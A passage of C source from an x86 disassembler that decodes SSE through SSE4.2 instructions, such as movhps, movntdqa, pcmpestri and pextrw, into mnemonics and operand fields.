    if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movshdup ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + DATA_TRANSFER;
        MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
        if (MOD_ == 0x3) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlhps ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhps ");
        }
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 17
// ====================================================================
void __stdcall movhps_MV(PDISASM pMyDisasm)
{

    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 4;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhpd ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 4;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhps ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 12
// ====================================================================
void __stdcall movlps_VM(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movddup ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsldup ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + DATA_TRANSFER;
        if (MOD_ == 0x3) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhlps ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlps ");
        }
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 13
// ====================================================================
void __stdcall movlps_MV(PDISASM pMyDisasm)
{

    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 4;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlpd ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 4;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlps ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 50
// ====================================================================
void __stdcall movmskps_(PDISASM pMyDisasm)
{
    MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
    if (MOD_ != 0x3) {
        FailDecode(pMyDisasm);
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movmskpd ");
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 2;

    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movmskps ");
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 2;

    }
}


// ====================================================================
//      0x 0f 38 2a
// ====================================================================
void __stdcall movntdqa_(PDISASM pMyDisasm)
{

    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + STREAMING_LOAD;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntdqa ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f c3
// ====================================================================
void __stdcall movnti_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movnti ");
    EvGv(pMyDisasm);

}


// ====================================================================
//      0x 0f 2b
// ====================================================================
void __stdcall movntps_(PDISASM pMyDisasm)
{
    MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
    if (MOD_ == 0x3) {
        FailDecode(pMyDisasm);
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 8;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntpd ");
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        MOD_RM(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 2;

    }
    else {
        OpSize = 4;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntps ");
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        MOD_RM(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 2;

    }
}


// ====================================================================
//      0x 0f e7
// ====================================================================
void __stdcall movntq_(PDISASM pMyDisasm)
{
    MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
    if (MOD_ == 0x3) {
        FailDecode(pMyDisasm);
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 8;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntdq ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 4;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + CACHEABILITY_CONTROL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntq ");
        MMX_ = 1;
        ExGx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 10
// ====================================================================
void __stdcall movups_VW(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movupd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movups ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}



// ====================================================================
//      0x 0f 11
// ====================================================================
void __stdcall movups_WV(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsd ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movss ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movupd ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movups ");
        MMX_ = 1;
        ExGx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 3a 42
// ====================================================================
void __stdcall mpsadbw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + SAD_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mpsadbw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 59
// ====================================================================
void __stdcall mulps_VW(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mulsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mulss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mulpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mulps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 56
// ====================================================================
void __stdcall orps_VW(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "orpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "orps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 2b
// ====================================================================
void __stdcall packusdw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "packusdw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f d4
// ====================================================================
void __stdcall paddq_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SIMD128bits;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddq ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f e0
// ====================================================================
void __stdcall pavgb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pavgb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pavgb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f e3
// ====================================================================
void __stdcall pavgw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pavgw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pavgw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 3a 0f
// ====================================================================
void __stdcall palignr_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "palignr ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "palignr ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
}


// ====================================================================
//      0x 0f 38 10
// ====================================================================
void __stdcall pblendvb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_BLENDING_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pblendvb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pblendvb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 3a 0e
// ====================================================================
void __stdcall pblendw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + SAD_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pblendw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 38 29
// ====================================================================
void __stdcall pcmpeqq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_EQUALITY;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 3a 61
// ====================================================================
void __stdcall pcmpestri_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpestri ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 3a 60
// ====================================================================
void __stdcall pcmpestrm_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpestrm ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 3a 63
// ====================================================================
void __stdcall pcmpistri_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpistri ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 3a 62
// ====================================================================
void __stdcall pcmpistrm_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpestrm ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 38 37
// ====================================================================
void __stdcall pcmpgtq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 3a 14
// ====================================================================
void __stdcall pextrb_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + INSERTION_EXTRACTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrb ");
        MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
        if (MOD_ == 0x3) {
            OpSize = 3;
        }
        else {
            OpSize = 1;
        }
        MOD_RM(&(*pMyDisasm).Argument1);
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 3a 16
// ====================================================================
void __stdcall pextrd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + INSERTION_EXTRACTION;
        if (REX.W_ == 0x1) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrq ");
            OpSize = 4;
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrd ");
            OpSize = 3;
        }
        MOD_RM(&(*pMyDisasm).Argument1);
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}

// ====================================================================
//      0x 0f c5
// ====================================================================
void __stdcall pextrw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrw ");
        OpSize = 108;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrw ");
        OpSize = 108;
        MMX_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        MMX_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
